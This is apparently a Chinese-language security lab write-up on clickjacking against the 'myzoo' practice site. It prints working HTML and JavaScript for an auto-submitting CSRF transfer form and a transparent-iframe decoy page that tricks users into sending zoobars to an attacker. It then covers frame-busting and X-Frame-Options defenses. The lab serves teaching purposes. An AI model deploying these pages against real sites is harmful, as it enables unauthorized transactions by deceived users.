[关闭]
@windmelon 2018-12-31T20:02:24.000000Z 字数 3134 阅读 1490

InfoSec:ClickJacking

信息安全实验


实验介绍

clickjacking(点击劫持)是通过在页面上覆盖一层透明的iframe,诱导用户点击网页,实际上点击的是透明的iframe,从而达到一些攻击的目的,原理十分简单

image.png-130.5kB

本次实验依然使用myzoo,通过构建一个clickjacking网站偷取用户zoobar

实验平台

Ubuntu 16.04 虚拟机
FireFox 浏览器

实验步骤

实验网站

下载地址
环境配置

基本思路

1.html

  1. <html>
  2. <head>
  3. </head>
  4. <body>
  5. <form method=POST name=transferform
  6. action="http://www.myzoo.com/transfer.php" id="form">
  7. <input name=zoobars type=hidden value="2">
  8. <input name=recipient type=hidden value="attacker">
  9. <input type=hidden name=submission value="Send">
  10. </form>
  11. </body>
  12. <script>
  13. var form = document.getElementById('form');
  14. form.submit();
  15. </script>
  16. </html>

通过一次失败的CSRF攻击可以让iframe跳转到zoobar的转账页面,同时自动填写好转账给谁和转账的zoobar数目

2.html

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <style>
  5. html,body{
  6. top: -0px;
  7. left: -0px;
  8. display: block;
  9. height: 50%;
  10. width: 100%;
  11. }
  12. iframe{
  13. top:200px;
  14. left:500px;
  15. width: 1000px;
  16. height: 500px;
  17. position: absolute;
  18. z-index: 1;
  19. -moz-opacity: 0;
  20. opacity: 0;
  21. filter: alpha(opacity=0);
  22. }
  23. #mybutton{
  24. position:absolute;
  25. z-index: 0;
  26. top:480px;
  27. left:880px;
  28. pointer-events:none;
  29. }
  30. #mybutton2{
  31. position:absolute;
  32. top:-1px;
  33. left:-1px;
  34. }
  35. img{
  36. position:absolute;
  37. top:200px;
  38. left:800px;
  39. }
  40. </style>
  41. </head>
  42. <body>
  43. <img src="1.jpg" height=200 width=250 id="myimage"></img>
  44. <iframe src = "1.html" id="myframe" ></iframe>
  45. <button id="mybutton" onclick=Try()>Try!</button>
  46. <button id="mybutton2" onclick=showframe()>showframe</button>
  47. </body>
  48. <script type="text/javascript">
  49. function Try(){
  50. document.getElementById('mybutton').style.pointerEvents='none';
  51. var element = document.getElementById('myimage');
  52. var src = Math.round(Math.random()*6+1);
  53. src = src+".jpg";
  54. element.src = src;
  55. }
  56. function showframe(){
  57. var opacity = document.getElementById('myframe').style.opacity;
  58. if(opacity>0) document.getElementById('myframe').style.opacity = 0;
  59. else document.getElementById('myframe').style.opacity = 0.2;
  60. }
  61. function delayRun(code,time) {
  62. var t=setTimeout(code,time);
  63. }
  64. var myConfObj = {
  65. iframeMouseOver : false
  66. }
  67. var count = 0;
  68. window.addEventListener('blur',function(){
  69. if(myConfObj.iframeMouseOver){
  70. //alert("frame clicked!");
  71. count++;
  72. //alert("count = 2!");
  73. document.getElementById('myframe').style.zIndex=-1;
  74. delayRun("document.getElementById('mybutton').style.pointerEvents='auto';",100);
  75. //document.getElementById('mybutton').style.pointerEvents="auto";
  76. }
  77. });
  78. document.getElementById('myframe').addEventListener('mouseover',function(){
  79. myConfObj.iframeMouseOver = true;
  80. });
  81. document.getElementById('myframe').addEventListener('mouseout',function(){
  82. myConfObj.iframeMouseOver = false;
  83. });
  84. </script>
  85. </html>

界面是这样

image.png-153.9kB

点击Try按钮,可以随机切换猫咪图片

image.png-162.9kB

但其实背后是这样的

image.png-236.3kB

点击的逻辑是这样的:
1. 第一次点击Try,此时Try为不可点击状态,实际上点击的是iframe的send,完成一次转账,同时设置Try为可点击
2. 第二次点击Try,切换猫咪图片,同时设置Try为不可点击
3. 第三次点击Try,同第一次

通过这样,用户只会觉得button不是很灵敏,而不易察觉已被clickjacked,在不知不觉中将zoobar转给攻击者

ClickJacking的防护

javascript防御

Stanford大学曾经对美国各大网站的clickjacking防护代码进行了分析,最后推荐用以下代码对clickjacking进行防护

  1. <html>
  2. <title>
  3. Framebust is not easy!
  4. </title>
  5. <style>body {display:none;}</style>
  6. <body>
  7. I'm not be framed!
  8. <script>
  9. if(self==top) {
  10. document.getElementsByTagName("body")[0].style.display='block';
  11. }
  12. else{ top.location = self.location;}
  13. </script>
  14. </body>
  15. </html>

服务器端防护

根据新的浏览器标准,可以在服务器端进行防御,不允许非同源网站的iframe加载本网站的内容
配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:

  1. Header always append X-Frame-Options SAMEORIGIN

php中,可以这样设置

  1. <?php
  2. header("X-Frame-Options:DENY");
  3. ?>
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注